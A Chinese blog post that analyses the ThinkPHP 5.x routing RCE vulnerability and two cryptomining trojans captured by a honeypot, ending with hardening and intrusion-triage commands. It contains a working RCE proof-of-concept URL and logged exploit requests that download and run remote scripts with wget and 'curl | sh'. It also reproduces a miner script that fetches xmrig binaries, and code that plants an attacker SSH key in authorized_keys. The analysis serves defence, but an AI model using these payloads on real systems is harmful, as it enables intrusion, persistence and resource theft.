Thinkphp框架在5.x多个小版本中存在由于路由解析缺陷导致的远程命令执行漏洞,个人基于thinkphp5.2版本部署的蜜罐分别于04-28、05-07捕获两个基于该漏洞的恶意挖矿木马。本文在分析该漏洞原理的基础上并对两个挖矿木马进行分析。

Thinkphp-RCE漏洞

恶意poc

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞调试

漏洞调试

漏洞相关调用栈为:
thinkphp调用
在Thinkphp框架入口函数thinkphp/library/think/App.php
run function中两个关键处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
···
// 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息
$request->dispatch($dispatch);

// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

// 监听 app_begin
Hook::listen('app_begin', $dispatch);

// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);

$data = self::exec($dispatch, $config);
···
}
  • 1、$dispatch = self::routeCheck($request, $config); url处理校验
  • 2、$data = self::exec($dispatch, $config); 执行调用分发
  • Route::check()函数中回会根据当前URL、路由定义返回相应检测结果,其中获取当前请求URL信息处理逻辑为thinkphp/library/think/Route.php function parseUrl()
    list($path, $var) = self:parseUrlPath($url);获取[模块/控制钱/操作]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    public function pathinfo()
    {
    if (is_null($this->pathinfo)) {
    if (isset($_GET[Config::get('var_pathinfo')])) {
    // 判断URL里面是否有兼容模式参数
    $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
    unset($_GET[Config::get('var_pathinfo')]);
    } elseif (IS_CLI) {
    // CLI模式下 index.php module/controller/action/params/...
    $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
    }

    // 分析PATHINFO信息
    if (!isset($_SERVER['PATH_INFO'])) {
    foreach (Config::get('pathinfo_fetch') as $type) {
    if (!empty($_SERVER[$type])) {
    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
    substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
    break;
    }
    }
    }
    $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
    }
    return $this->pathinfo;
    }

    该poc返回

    1
    $path = array("index", "\think\app", "invokefunction");

    该url router

    1
    $route = array("index", "\think\app", "invokefunction");

    而后run()函数中exec()将上文获取检测结果、调度信息、配置信息执行掉用分发进入self:exec()时

    1
    2
    $dispatch = array("type"=>"module","module"=>array("index","\think\app","invokefunction"));

    在thinkphp/library/think/App.php function module()执行

    1
    return self:invokeMethod($call,$vars);

    该函数根据传入调用类型执行相应分发处理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    protected static function exec($dispatch, $config)
    {
    switch ($dispatch['type']) {
    case 'redirect': // 重定向跳转
    $data = Response::create($dispatch['url'], 'redirect')
    ->code($dispatch['status']);
    break;
    case 'module': // 模块/控制器/操作
    $data = self::module(
    $dispatch['module'],
    $config,
    isset($dispatch['convert']) ? $dispatch['convert'] : null
    );
    break;
    case 'controller': // 执行控制器操作
    $vars = array_merge(Request::instance()->param(), $dispatch['var']);
    $data = Loader::action(
    $dispatch['controller'],
    $vars,
    $config['url_controller_layer'],
    $config['controller_suffix']
    );
    break;

    跟进self:module()处理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    if (is_callable([$instance, $action])) {
    // 执行操作方法
    $call = [$instance, $action];
    // 严格获取当前操作方法名
    $reflect = new \ReflectionMethod($instance, $action);
    $methodName = $reflect->getName();
    $suffix = $config['action_suffix'];
    $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
    $request->action($actionName);

    } elseif (is_callable([$instance, '_empty'])) {
    // 空操作
    $call = [$instance, '_empty'];
    $vars = [$actionName];
    } else {
    // 操作不存在
    throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
    }

    Hook::listen('action_begin', $call);

    return self::invokeMethod($call, $vars);

    将相关参数带进function invokeMethod()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public static function invokeMethod($method, $vars = [])
    {
    if (is_array($method)) {
    $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
    $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
    // 静态方法
    $reflect = new \ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

    中最后执行
    ReflectionMethod::invokeArgs 带参数执行

    1
    2
    3
    4
    5
    6
    7
    8
    $reflect = new \ReflectionFunction($function);
    $function = "call_user_func_array";

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);

    $reflect = array("name"=>"invokeFunction","class"=>"think\App")

    $args = array("system",array("id"));

    实现代码执行

    补丁处理

    增加正则表达式处理

    1
    2
    3
    preg_match('/^[A-Za-z](\w|\.)*$/', $controller) {
    throw new HttpException(····);
    }

    即禁止传入\think\app并执行后续调用分发。

    挖矿木马 a_thk.sh

    • 样本:docker: kevinsafs/honeydata:thinkphpa_thk.sh
      该木马基于Thinkphp5.x RCE后后续执行shell脚本简单处理直接执行挖矿主体,没有其他横向移动、扫描等模块,不展开分析。
    恶意流量
    1
    2
    182.254.241.79 - - [03/May/2019:11:16:18 +0000] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://81.6.42.123/a_thk.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" "-"
    182.92.218.221 - - [04/May/2019:06:44:56 +0000] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://81.6.42.123/a_thk.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" "-"

    shell脚本,获取系统相关信息、清除其他挖矿程序进程、加载恶意文件执行挖矿

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    while true;
    do
    crontab -r;
    ps -eo user,pid,time,comm | grep $("whoami") | grep -v 'rogue' | awk 'BEGIN{ FS=":|-"; OFS=""; } { print $1,$2,$3,$4,$5,$6 }' | awk '$3>500' | awk '{print $2}' | xargs -r kill -9
    ps x | grep 'networkservic[e]' | awk '{print $1}' | xargs -r kill -9
    ps x | grep 'sysupdat[e]' | awk '{print $1}' | xargs -r kill -9
    if [ ! -s "/tmp/rogue_s" ]; then
    wget http://81.6.42.123/xmrig_s -O /tmp/rogue_s; chmod +x /tmp/rogue_s;
    fi
    if [ ! -s "/tmp/rogue_s" ]; then
    wget http://82.72.134.224/xmrig_s -O /tmp/rogue_s; chmod +x /tmp/rogue_s;
    fi
    if [ "$(ps -eo comm | grep -c "rogu[e]")" -lt "2" ]; then
    /tmp/rogue_s -r 1000 --donate-level 1 -o 139.224.15.175:26591 -B -p pass -k --max-cpu-usage=99 ;
    fi
    sleep 120;
    done

    在06-29捕获的最新样本中对该文件进行更新和重命名,更新内容:增加其他挖矿程序、更新服务端

    1
    2
    3
    4
    5
    6
    7
    8
    -   ps -eo user,pid,time,comm | grep $("whoami") | grep -v 'rogue' | awk 'BEGIN{ FS=":|-"; OFS=""; } { print $1,$2,$3,$4,$5,$6 }' | awk '$3>500' | awk '{print $2}' | xargs -r kill -9
    + ps x | grep 'rogu[e]' | awk '{print $1}' | xargs -r kill -9
    + ps x | grep 'xmri[g]' | awk '{print $1}' | xargs -r kill -9
    + killall rogue_s
    + killall xmrig_s
    + if [ ! -s "/tmp/racks_s" ]; then
    + wget http://77.192.123.83/racks_s -O /tmp/racks_s; chmod +x /tmp/racks_s;
    + fi

    入侵后相关进程为:

    1
    2
    3
    4
    5
    6
     [root@b23d372b1e78 /]# ps aux | grep 29963
    root 7862 0.0 0.4 103376 2028 pts/0 S+ 15:09 0:00 grep 29963
    apache 29963 49.6 1.2 455100 6144 ? Ssl 08:25 200:04 /tmp/racks_s -r 1000 --donate-level 1 -o 121.42.151.137:28850 -B -p pass -k --max-cpu-usage=99
    [root@b23d372b1e78 /]# ps aux | grep 29956
    root 7868 0.0 0.4 103376 2056 pts/0 S+ 15:09 0:00 grep 29956
    apache 29956 49.6 1.2 455100 6288 ? Ssl 08:25 200:30 /tmp/racks_s -r 1000 --donate-level 1 -o 121.42.151.137:28850 -B -p pass -k --max-cpu-usage=99

    networkservice

    

    • 样本 docker: kevinsafs/honeydata:thinkphpMining-netwrokservice

    该样本为DDG木马最新变种,基于Go 1.10编译、UPX加壳,该样本包含networkservice(漏洞扫描利用模块)\sysguard(c&c通信处理)\syssupdate(挖矿程序)\Update.sh(程序维持脚本)\cinfig.json(配置文件及钱包地址)多个文件。

    恶意流量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    | 33466 | thinkphp | 58.56.9.12 | 34322 | 02-42-1A-03-B9-90 | NULL   | NULL | NULL      | NULL       | GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
    Host: 45.77.146.50
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
    Connection: close
    Accept-Encoding: gzip

    | 2019-07-21 08:41:39 |
    | 33467 | thinkphp | 58.56.9.12 | 47174 | 02-42-1A-03-B9-90 | NULL | NULL | NULL | NULL | GET /index.php?function=call_user_func_array&s=%2Findex%2F%5Cthink%5Capp%2Finvokefunction&vars%5B0%5D=system&vars%5B1%5D%5B%5D=curl+-fsSL+http%3A%2F%2F185.181.10.234%2FE5DB0E07C3D7BE80V520%2Finit.sh+%7Csh HTTP/1.1
    Host: 45.77.146.50
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
    Connection: close
    Accept-Encoding: gzip

    | 2019-07-21 08:41:39 |
    | 33468 | thinkphp | 172.17.0.2 | 55188 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/init.sh HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:40 |
    | 33469 | thinkphp | 172.17.0.2 | 55192 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/config.json HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:40 |
    | 33470 | thinkphp | 172.17.0.2 | 55196 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/sysupdate HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:41 |
    | 33471 | thinkphp | 172.17.0.2 | 55200 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/sysguard HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:42 |
    | 33472 | thinkphp | 172.17.0.2 | 55204 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/update.sh HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:43 |
    | 33473 | thinkphp | 172.17.0.2 | 55208 | 02-42-AC-11-00-02 | NULL | NULL | NULL | NULL | GET /E5DB0E07C3D7BE80V520/networkservice HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: 185.181.10.234
    Accept: */*

    | 2019-07-21 08:41:43 |
    +-------+--

    且该木马会写入authorized_keys实现免密码登录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    fi
    chmod 700 /root/.ssh/
    echo >> /root/.ssh/authorized_keys
    chmod 600 root/.ssh/authorized_keys
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys


    cfg="/etc/config.json"
    file="/etc/sysupdate"

    我们重点关注其横向移动、漏扫利用模块networkservice
    该模块主要包含函数及程序涉及的基础库为
    main_init
    可以看到主要涉及ip处理、端口识别、扫描处理等相关函数
    在main_main流程图中可以发现其程序横向移动、扫描ip地址由c&c下发,url为:https://pixeldra.in/api/download/I9RRye
    main_main
    从main_scan及扫描主函数流程图可发现该模块包含十余漏洞利用,例如redis、drupal、thinkphp等
    main_scan
    我们跟进其处理thinkphp_rce漏洞逻辑

    • 加载目标ip、port
    • 判断目标web应用是否为Thinkphp
    • 组装thinkphp_5 rce 利用exp
    • 判断exp是否利用成功,否,则继续组装thinkphp_5.2 利用exp
    • 利用成功,c&c加载恶意文件并进行后渗透处理

    thinkphp
    thinkphp_5 rce 利用exp 为
    thinkphp5
    thinkphp_5.2 利用exp 为
    thinkphp5_23

    安全建议

    • 基于networkservice横向移动模块分析后可以发现现在挖矿程序不仅仅依赖于web应用,其利用恶意exp愈发全面。对此,需要修复相关漏洞、对redis等系统设置强权限控制;
    • 服务器定时任务清理、权限、iptables等相关加固方案;

    入侵排查

    部分常见命令

    • netstat -antlp
    • ps aux | grep pid
    • 隐藏进程
      1
      2
      3
      ps -ef | awk '{print}' | sort -n | uniq >1
      ls /proc | sort -n |uniq >2
      diff 1 2
    • 72小时新增文件find / -ctime -2
    • 文件时间信息 stat
    • 敏感目录下文件如:ls -alt /tmp/
    • 定时任务 crontabl –l
    • 历史命令 history cat ~/.bash_history
    • 命令是否被篡改 alias ls